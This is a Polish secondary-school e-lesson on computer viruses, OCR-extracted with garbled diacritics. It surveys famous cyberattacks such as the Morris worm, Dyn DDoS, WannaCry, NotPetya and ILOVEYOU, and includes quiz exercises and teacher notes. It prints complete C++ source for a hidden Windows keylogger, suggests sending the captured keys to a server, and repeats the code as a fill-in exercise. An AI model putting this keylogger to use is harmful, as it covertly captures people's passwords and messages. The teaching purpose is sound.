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Przypomnij sobie, jak dzialanie wirusow przedstawiane jest w kulturze masowej. Pewnie od
razu przychodza ci na mysl ciggi zielonych literek na czarnym ekranie? A moze inne,
rownie spektakularne dziatania hakerow, ktorzy za cel obrali sobie wielkie korporacje albo
waznych ludzi?

Tymczasem zloSliwe oprogramowanie moze zainfekowa¢ komputer kazdego z nas. Warto
miec tego pelng sSwiadomos$¢ i by¢ ostroznym podczas przegladania zasobow internetu.
Napisanie prostego wirusa nie jest wcale skomplikowanym zadaniem, a przypadkowe
wpuszczenie nieproszonego goscia do naszego komputera moze zdarzyc¢ sie w kazdej

chwili.
Wiecejinformacji na temat wiruséw komputerowych znajdziesz w e-materiatach:

e Wirusy komputerowe,

o Wirusy komputerowe - implementacja w jezyku Java,

o Wirusy komputerowe - implementacja w jezyku Python.
Twoje cele

e Zapoznasz si¢ z implementacja prostego keyloggera w jezyku C++.
e Wyjasnisz, czym sg ataki DoS oraz DDoS.
o Przedstawisz histori¢ kilku najstynniejszych cyberatakow.
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Przeczytaj

Implementacja prostego keyloggera

Keylogger jest ztosliwg aplikacja nalezgcg do kategorii programow szpiegujgcych. Zadaniem
keyloggerow jest przechwytywanie informacji o klawiszach naciskanych przez
uzytkownika. W rezultacie atakujacy uzyskuje dostep do tresci edytowanych dokumentow,
wiadomosci tekstowych oraz danych autoryzacyjnych do serwiséw internetowych.

Napisanie prostego keyloggera dziatajgcego w systemie Windows jest catkiem latwe.
Skorzystamy z biblioteki Windows . h. Zdefiniowane w niej funkcje pozwolg nam ukry¢ okno
konsoli programu oraz przechwytywac informacje o nacisnietych klawiszach.

Informacje o tym, ktore klawisze zostaly nacisniete, bedziemy zapisywac¢ w lokalnym pliku.
W tym celu wykorzystamy biblioteke fstream.

Oto kod keyloggera:
1 #include <Windows.h>

2 #include <fstream>
3 #include <iostream>

4
5 1int main() {

6 // Najpierw ukryjemy okno terminala naszego programu

7 ShowWindow(GetConsoleWindow(), SW_HIDE);

8

9 // Tworzymy obiekt pliku

10 std::fstream plik;

11

12 // Nastepnie nieskonczona petla przechwytujgca klawisze
13 while (true) {

14 for (int znak = 32; znak <= 126; znak++)

15 // Sprawdzamy czy dany klawisz jest wcisniety
16 if (GetAsyncKeyState(znak) == -32767) {

17 // Zapisujemy znak do pliku

18 plik.open("logfile.txt", std::fstream::app);
19 plik << (char)znak;

20 plik.close();

21 }

22 }

23 }


javascript:void(0);

Zaprezentowany tu keylogger jest bardzo prosty. Przechwytuje on wylgcznie litery alfabetu
tacinskiego i cyfry. Program mozna jednak ulepszy¢ tak, aby przechwytywat takze znaki
specjalne.

Informacje o naci$nietych klawiszach sg zapisywane w specjalnym pliku na dysku lokalnym.
Mozna rowniez zmodyfikowac kod tak, aby dane te zostaly przestane na serwer, o ile
komputer ofiary ataku jest potaczony z internetem.

Mozliwo$ci rozbudowy przedstawionego programu sg naprawde ogromne. Jedynym
ograniczeniem mogg tu by¢ doswiadczenie i umiejetno$ci programisty.

Historia najstynniejszych cyberatakow

Rozwoj technologii sprawil, ze duzg czes¢ codziennych aktywnosSci przeniesliSmy do
internetu. Coraz czesciej robimy w sieci zakupy, ptacimy rachunki, a nawet wnioskujemy
o kredyty. Z globalnej sieci korzystaja zar6wno osoby indywidualne, jak i przedsigbiorstwa.
Trudno sobie wyobrazi¢ codzienne funkcjonowanie bez dostepu do internetu.

Skutkiem ubocznym tej sytuacii jest jednak wzrost liczby cyberatakéw. Przybieraja one
najrozniejsze formy - od kradziezy tozsamosci, przez wytudzenia i szantaze, az po
ograniczenie funkcjonalnosci komputeréw, systeméw informatycznych oraz ustug
sieciowych.

Robak Morrisa

Robak Morrisa byt pierwszym wirusem
komputerowym, ktory pojawit si¢

w internecie. Zostal napisany w 1988 r. przez
Roberta Morrisa. Programista postawit sobie
za cel uswiadomienie administratorom
stabosci ich systemow poprzez

zaprezentowanie mozliwosci przenoszenia

sie programu z jednego komputera na inny.

Program wykorzystywal kilka bh;d(')w Zrédto: Contentplus.pl Sp. z 0.0., licencja: CC BY-SA 3.0.

istniejagcych w atakowanych systemach.

Intencja Morrisa nie bylo spowodowanie wigkszych probleméw w ich dziataniu,
ostatecznie jednak wirus okazat sie bardzo szkodliwy. Program powielat liczbe wiasnych
kopii w nieskonczonos¢, co przektadato sie na ogromne zuzycie zasobow zainfekowanego
komputera. Zarazonych zostato ponad 6 tysiecy urzadzen - pod koniec lat 80. stanowity
one okoto 10 procent komputeréw podtaczonych do internetu.



Robak Morrisa stat si¢ inspiracja dla autorow kolejnych wiruséw oraz atakow DoS (z ang.
Denial of Service).

Ataki DDoS

Pierwszy znany atak DDoS (z ang. Distributed Denial of Service) nastapit w 1996 r. Jego
ofiarg padt jeden z najstarszych dostawcow ustug internetowych - firma Panix. W ciggu
nastepnych kilku lat ataki DDoS staty sie bardzo powszechne, a w roku 2018 odnotowano
ich juz tacznie 7,9 miliona. Przewiduje si¢, ze do roku 2023 liczba ta ulegnie podwojeniu.

Wraz z uptywem czasu zwieksza si¢ nie tylko liczba samych atakow, ale rowniez ich
skutecznos¢ oraz zasieg. Atakujacy tworzg coraz wieksze botnety, dzigeki czemu zyskuja
ogromng moc obliczeniowq. Ataki te stajg si¢ powaznym zagrozeniem dla firm
prowadzacych dzialalno$¢ internetowg, poniewaz moga spowodowac przerwe w dziataniu
serwisu, co z kolei wigze si¢ z ogromnymi stratami finansowymi.

Atak na ustugi chmurowe Amazona

Najwiekszy w historii atak DDoS nastgpit w lutym 2020 r. Jego celem byt pewien serwis
internetowy korzystajacy z ustug serwerowych firmy Amazon. Do ataku zostata uzyta
technika wykorzystujaca protokot CLDAP (z ang. Connectionless Lightweight Directory
Access Protocol). Atak trwal przez trzy dni, a dane ze strony agresora byly przesytane

z rekordowa predkoscig ponad dwoch terabajtow na sekunde.

Atak na firme Dyn

Dyn jest amerykanskim serwisem oferujacym ustugi DNS. W roku 2016 firma ta padta ofiara
jednego z najwiekszych atakow DDoS, co doprowadzito do wyjgtkowo destrukcyjnych
rezultatow — ponad 80 serwisow korzystajgcych z ustug Dyn przestato funkcjonowac.
Wsrod poszkodowanych znalezli si¢ Amazon, Netflix, Airbnb, Spotify, Twitter, PayPal oraz
Reddit. Straty finansowe szacuje si¢ na 110 milionoéw dolaréow.

Ataki ransomware

Ransomware jest rodzajem ztosliwego
oprogramowania, ktorego dziatanie polega na
blokowaniu dostepu do systemu
komputerowego badz zapisanych w nim @
danych. Najczesciej wykorzystuje si¢ przy tym
roznego rodzaju mechanizmy szyfrowania

i zada od ofiary ataku okupu za odkodowanie —
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informacji. Forma tego ataku jest prosta, Zrédto: Contentp|usp| Sp Z0.0, “(:encja: CC BY-SA 3.0.

a zarazem wyjatkowo szkodliwa.

WannaCry

Atak z uzyciem oprogramowania ransomware WannaCry nastgpit w maju 2017 r. Ztosliwy
program rozprzestrzeniat sie na calym Swiecie przez cztery dni; szyfrowat on pliki
znajdujace sie na komputerze ofiary, a nastepnie zadat optaty w wysokosci 300 dolarow

w formie kryptowaluty. Szacuje si¢, ze dotknat ponad 200 tysiecy komputerow w 150
krajach. Catkowite szkody finansowe spowodowane dzialaniem tego ataku mogty wynies¢
nawet 4 miliardy dolaréw, co czyni go jednym z najbardziej szkodliwych zdarzen tego typu.

NotPetya

Program NotPetya pojawit sie w czerwcu 2017 r. Zastynat on tym, ze tylko udawal, iz atakuje
w taki sam sposob, jak inne programy typu ransomware - podobnie jak w przypadku
WannaCry, szyfrowane byty pliki znajdujace si¢ na dysku ofiary, od ktorej nastepnie zadano
okupu. Jednak w rzeczywistoSci algorytm szyfrowania danych skonstruowany byt tak, aby
skutkow jego zastosowania nie dato si¢ juz odwrocic.

Wycieki danych

Wiele atakow koncentruje sie¢ na wydobyciu wrazliwych danych z systemow
informatycznych. Dane uzytkownikow wielu serwisow internetowych wyciekly z powodu
luk w systemach zabezpieczajacych.

Najwiekszy taki wyciek miat miejsce na przetomie lat 2013 i 2014. Przechwycone zostaty
wowczas dane okoto trzech miliardow uzytkownikow serwisu Yahoo. Znalazly sie wsrod
nich takie informacje, jak nazwiska, daty urodzenia, adresy e-mail, hasta oraz odpowiedzi
na pytania kontrolne (spetniajgce role danych zabezpieczajacych).

W internecie dzialajg specjalne witryny poswiecone wyciekom danych - uzytkownik moze
tam sprawdzi¢, czy jego adres e-mail znalazt si¢ w plikach, ktore wyciekty do sieci.

Stownik
keylogger

oprogramowanie szpiegujace, ktérego zadaniem jest rejestrowanie klawiszy naciskanych

przez uzytkownika systemu
atak DoS

(z ang. Denial of Serivce) rodzaj ataku na system komputerowy badz ustuge sieciowg,

ktory polega na zablokowaniu dziatania urzadzenia lub serwisu



atak DDoS

(z ang. Distributed Denial of Service) odmiana ataku DosS; jejistotg jest atakowanie
systemu lub ustugi z wielu komputeroéw rownoczesnie
botnet

grupa komputerow zainfekowanych szkodliwym oprogramowaniem, ktore pozostaje
ukryte przed uzytkownikiem; tworca programu ma zdalng kontrole nad zainfekowanymi
urzadzeniami



Audiobook

Polecenie 1

Zapoznaj sie z trescig audiobooka i wykonaj ¢wiczenie.

Audiobook mozna wystuchad pod adresem: https:/zpe.gov.pl/b/PNtexrOhn

Korzysci finansowe, zdobywanie cudzych informaciji czy po prostu ambicjai che¢
udowodnienia wiasnych umiejetnosci to zazwyczaj gtbwne powody tworzenia
wirusow. Znane sg liczne przypadki szkodliwych programow, ktore zasiegiem potrafity
obja¢ miliony urzadzen. Jednym z nich by} robak komputerowy o mylacejnazwie
ILOVEYOU. Zostat on napisany w postaci skryptu w jezyku VBScript, a nastepnie
rozestany jako zalgcznik w wiadomosciach e-mailowych. Stato si¢ to 4 maja 2000 roku.
Nazwa szkodliwego oprogramowania wzietla si¢ od tytulu przesytanych wiadomosci
oraz nazwy dotagczanego pliku ,LOVE-LETTER-FOR-YOU.txt.vbs”. Po otworzeniu
skryptu przez odbiorce kolejne e-maile z robakiem wysytane byty do wszystkich 0sob,
ktorych dane znajdowaty sie¢ w ksigzce adresowej ofiary. W ten sposob oprogramowanie
rozprzestrzeniato si¢ w niewyobrazalnym tempie, ostatecznie infekujac ponad 50
milionow urzadzen, stanowigcych wowczas 10% komputeréw podiaczonych do
internetu. Drugg operacja wykonywana przez ILOVEYOU bylo zastepowanie losowych
plikow uzytkownika kopig robaka. Czasem prowadzito to nawet do unieruchomienia
komputera. Ostatecznie koszt szkod wyrzadzonych przez skrypt oceniony zostal na
poziomie dziewieciu milionéw dolarow. Co ciekawe, tworcy stynnego robaka nie
poniesli zadnych powaznych konsekwencji, poniewaz prawo na Filipinach, z ktorych
pochodzili, nie przewidywato wowczas sankciji za tego typu dziatalnos¢. Obecnie
ILOVEYOU przez wielu ekspertow okreslany jest mianem jednego z dziesieciu

najbardziej ztosliwych wirusow w historii.

Innym przyktadem stynnego wirusa jest CryptoLocker - oprogramowanie typu
ransomware. Rozprzestrzeniato si¢ ono w 2013 i 2014 roku gloéwnie za pomocyg
wiadomosci e-mailowych od pozornie legalnych, istniejgcych firm. Dzialanie
CryptoLockera polegato na szyfrowaniu danych zapisanych na dysku komputera oraz
podiagczonych do niego dyskach zewnetrznych. Aby odzyskac¢ dostep do plikow, ofiara
zmuszana byla do zaptacenia okupu w okreslonym terminie. Jezeli tego nie zrobita,
dostawata kolejng szanse, ale zgdana kwota byla wyzsza. OczywiScie zaptacenie okupu
nie zawsze gwarantowato przywrocenie komputera do stanu sprzed ataku. Nie


https://zpe.gov.pl/b/PNtexr0hn

wiadomo, ile pieniedzy udato si¢ wyludzi¢ w ten sposob, jednak ocenia si¢, ze mogto to
by¢ okoto trzech milionéw dolaréw. Co ciekawe, samo oprogramowanie nie bylo
trudne do usunigcia, jednak pliki uzytkownika wciaz pozostawaty zaszyfrowane.
Ostatecznie sprawa rozwigzana zostata pod koniec maja 2014 roku, kiedy to
zablokowano botnet stuzacy do rozpowszechniania wirusa. Dzigki pozyskaniu bazy
danych z kluczami stosowanymi do szyfrowania danych, juz w sierpniu tego samego
roku utworzona zostata strona internetowa oferujaca za darmo narzedzie deszyfrujgce.

Historie CryptoLockera i ILOVEYOU oraz innych ztosliwych i szkodliwych programow
powinny zachecac¢ do stosowania profilaktyki antywirusowej, a takze do zachowania
duzej ostroznosSci podczas otwierania nieznanych nam stron internetowych lub
pobierania plikow z podejrzanych zrodel. Mamy dzi¢ki temu szanse uniknac¢ stresu

oraz straty czasu i pieniedzy poSwieconych na pozbycie si¢ wirusa z urzadzenia.

Zrédto: Englishsquare.pl sp. z 0.0., licencja: CC BY-SA 3.0.
Cwiczenie 1

Wyjasnij, w jaki sposdb mozna bytoby unikng¢ zainfekowania komputera opisanymi wirusami.




Sprawdz sie

Pokaz ¢wiczenia: O O @
Cwiczenie 1

Wyjasnij, jaki byt gtéwny cel stworzenia robaka Morrisa.

Zaznacz odpowiedz najblizszg swoje;j.

‘ Poréwnaj swojg odpowiedz

Cwiczenie 2
Wskaz szacunkowa liczbe komputeréw zainfekowanych przez robaka Morrisa.

() 20tys.

() 15tys.

() 4tys.

() 6tys.




Cwiczenie 3 »
Zapoznaj sie z tekstem i wykonaj ¢wiczenie.

( ( Szymon Palczewski
Covid-19 wzmacnia cyberprzestepczos$é. Globalna
spandemia cyberatakow”

W raporcie ,Cybercrime: Covid-19 Impact”, opracowanym przez Interpol,
wyraznie podkreslono, ze pandemia koronawirusa ma gteboki wptyw na
krajobraz cyberzagrozen. ,Potagczenie Swiatowego kryzysu zdrowotnego
z gwattownym wzrostem dziatan cyberprzestepczych zwigzanych

z Covid-19 stanowi istotne obcigzenie dla organdw Scigania na catym
Swiecie” - czytamy w raporcie.

Dokument powstat w oparciu o dane ze 194 panstw cztonkowskich

i partneréw prywatnych, aby zapewni¢ kompleksowy przeglad sytuacji
zwigzanej z cyberprzestepczoscig w czasie pandemii. Informacje
pozyskiwano w ramach ,INTERPOL Global Cybercrime Survey”, ktéra
zostata przeprowadzona w okresie kwiecien-maj biezacego roku.

Wedtug zamieszczonych w raporcie danych, w przedziale czasowym od
stycznia do 24 kwietnia 2020 roku Interpol wykryt 207 000 wiadomosci
spamowych, 737 incydentéw zwigzanych z uzyciem zainfekowanego
tadunku i 48 000 ztosliwych adresow URL - wszystkie wykorzystywaty
tematyke dotyczacg obecnej pandemiii. (...)

Cyberprzestepcy nieustannie rozwijajg swoje zdolnosci i sprawnie
wykorzystujg ludzki strach zwigzany z niestabilng sytuacjg spoteczng

i gospodarcza, co jest nastepstwem pandemii koronawirusa. Skale
zagrozenia poteguje wieksza zaleznos$¢ od tgcznosci i infrastruktury
cyfrowej ze wzgledu na koniecznos¢ przejscia w tryb pracy zdalnej. To
wszystko jedynie zacheca hakeréw do prowadzenia ztosliwych operaciji.



Zrédto: Szymon Palczewski, Covid-19 wzmacnia cyberprzestepczosc. Globalna ,pandemia cyberatakéw’, 5.08.2020,
dostepny w internecie: cyberdefence24.pl [dostep 9.12.2020].

Wyjasnij, dlaczego pandemia Covid-19 spowodowata nasilenie sie cyberatakow.

Cwiczenie 4 Q@

Zdecyduj, czy ponizsze stwierdzenia sg prawdziwe, czy fatszywe.

Stwierdzenie Prawda Fatsz

W wyniku wycieku danych w latach 2013-2014 do sieci

trafity informacje na temat miliarda uzytkownikéw serwisu O O
Yahoo.
Catkowite szkody finansowe wyrzadzone przez
ransomware WannaCry szacuje sie na cztery miliardy O O
dolarow.
Cwiczenie 5 O

Wskaz, czym réznit sie atak NotPetya od ataku WannaCry.

Algorytm szyfrowania stosowany przez program NotPetya byt odwracalny (w
odréznieniu od WannaCry).

O

Algorytm szyfrowania stosowany przez program NotPetya byt nieodwracalny (w
odréznieniu od WannaCry).



Cwiczenie 6

Uporzadkuj wydarzenia chronologicznie. Zacznij od najstarszego.

WannaCry

atak DDoS na firme Dyn

atak robaka Morrisa

NotPetya

wyciek danych z serwisu Yahoo

atak DDoS na firme Amazon

Cwiczenie 7

Potacz kazde pojecie z wtasciwg definicja.

atak DoS

atak DDoS

keylogger

114

14

114

114

O

114

oprogramowanie szpiegujace, ktérego
zadaniem jest rejestrowanie klawiszy
naciskanych przez uzytkownika systemu

rodzaj ataku na system komputerowy
badz ustuge sieciowa, ktory polega na
uniemozliwieniu funkcjonowania
systemu lub ustugi

odmiana ataku na system komputerowy
badz ustuge sieciowa, ktéra polega na
tym, ze jest on przeprowadzany
rownoczesnie z wielu komputeréw



Cwiczenie 8
Uzupetnij kod prostego keyloggera w jezyku C++.

____________________

#include <fstream>

#include <iostream>

int main() A

____________________

while (true) {
for (int znak = 32; znak <= 126; znak++)

____________________

if (. == -32767) {
plik.open("logfile.txt", std::fstream::app);
plik << (char)znak;

plik.close();

std::ostream "windows.h "Window.h "std::fstream "SW_SHOW’

GetAsyncKey(znak) "Windows.h "SW_HIDE "fstream’

GetAsyncKeyState(znak) H AsyncKeyState(znak)’




Dla nauczyciela

Autor: Bartosz Zadrozny
Przedmiot: Informatyka

Temat: Wirusy komputerowe - implementacja w jezyku C++
Grupa docelowa:

Szkota ponadpodstawowa, liceum ogolnoksztatcace, technikum, zakres podstawowy
i rozszerzony

Podstawa programowa:
Cele ksztalcenia - wymagania ogolne

V. Przestrzeganie prawa i zasad bezpieczenstwa. Respektowanie prywatnos$ci informaciji
i ochrony danych, praw wlasnosci intelektualnej, etykiety w komunikacji i norm
wspoltzycia spotecznego, ocena zagrozen zwigzanych z technologia i ich uwzglednienie
dla bezpieczenstwa swojego i innych.

Tresci nauczania - wymagania szczegolowe
V. Przestrzeganie prawa i zasad bezpieczenstwa.
Zakres podstawowy. Uczen:

3) stosuje dobre praktyki w zakresie ochrony informacji wrazliwych (np. hasta, pin),
danych i bezpieczenstwa systemu operacyjnego, objasnia role szyfrowania informaciji;

Zakres rozszerzony. Uczen spetnia wymagania okreslone dla zakresu podstawowego,
a ponadto:

1) objasnia role technik uwierzytelniania, kryptografii i podpisu elektronicznego
w ochronie i dostepie do informacii;

Ksztaltowane kompetencje kluczowe:

« kompetencje cyfrowe;

» kompetencje osobiste, spoleczne i w zakresie umiejetnosci uczenia sig;

» kompetencje matematyczne oraz kompetencje w zakresie nauk przyrodniczych,
technologii i inzynierii.

Cele operacyjne (jezykiem ucznia):



e Zapoznasz si¢ z implementacjg prostego keyloggera w jezyku C++.
» Wyjasnisz, czym sg ataki DoS oraz DDoS.
» Przedstawisz historie kilku najstynniejszych cyberatakow.

Strategie nauczania:

o konstruktywizm;
o konektywizm.

Metody i techniki nauczania:

o dyskusja;
e rozmowa nauczajgca z wykorzystaniem multimedium i ¢wiczen interaktywnych;
» metody aktywizujgce.

Formy pracy:

e pracaindywidualna;

e pracaw parach;

e pracaw grupach;

e praca catego zespotu klasowego.

Srodki dydaktyczne:

» komputery z gtoSnikami, stuchawkami i dostepem do internetu;

 zasoby multimedialne zawarte w e-materiale;

« tablica interaktywna/tablica, pisak /kreda;

 telefony z dostepem do internetu;

o oprogramowanie dla jezyka C++, w tym kompilator GCC/G++ 4.5 (lub nowszej wersji)
i Code::Blocks 16.01 (lub nowszej wersji), Orwell Dev-C++ 5.11 (lub nowszej wersji) lub
Microsoft Visual Studio.

Przebieg lekcji
Przed lekcja:

1. Uczniowie sg proszeni o poszukanie informacji na temat atakow wirusow
komputerowych z ostatnich lat.

Faza wstepna:

1. Nauczyciel inicjuje dyskusje na temat wirusow komputerowych. Pyta klase o to, czy
miata bezposrednia stycznosc¢ ze ztoSliwym oprogramowaniem.

2. Uczniowie charakteryzujg, jakie sg skutki ataku wirusa komputerowego dla
przedsiebiorstwa, a jakie dla uzytkownika indywidualnego. Dyskutujg na ten temat
w parach.



Faza realizacyjna:

1. Nauczyciel dzieli klas¢ na grupy.

2.Jedna z grup przygotowuje plan dzialania przedsi¢biorstwa prywatnego, ktore zostato
zaatakowane przez wirusa. Druga - organu publicznego. Trzecia — uzytkownika
indywidualnego.

3. Grupy prezentuja swoje plany dziatania przed klasg. Nauczyciel w razie potrzeby
uzupetnia wypowiedzi.

Faza podsumowujaca:

1. Uczniowie wykonuja indywidualnie wskazane przez nauczyciela ¢wiczenia
interaktywne.

Praca domowa:
Wykonaj pozostate ¢wiczenia interaktywne.

Wybierz jeden atak wirusa komputerowego i scharakteryzuj, jak poradzita z nim sobie
firma, ktorg to dotkneto.

Materialy pomocnicze:

» Oficjalna dokumentacja techniczna dla jezyka C++.

o Oficjalna dokumentacja techniczna dla kompilatora GCC/G++ 4.5 (lub nowszej wersii).

 Oficjalna dokumentacja techniczna dla oprogramowania Code::Blocks 16.01 (lub
nowszej wersji), Orwell Dev-C++ 5.11 (lub nowszej wersji) lub Microsoft Visual Studio.

Wskazowki metodyczne:

Audiobook moze stanowi¢ dla ucznia podstawe przygotowania pracy domowe;j.



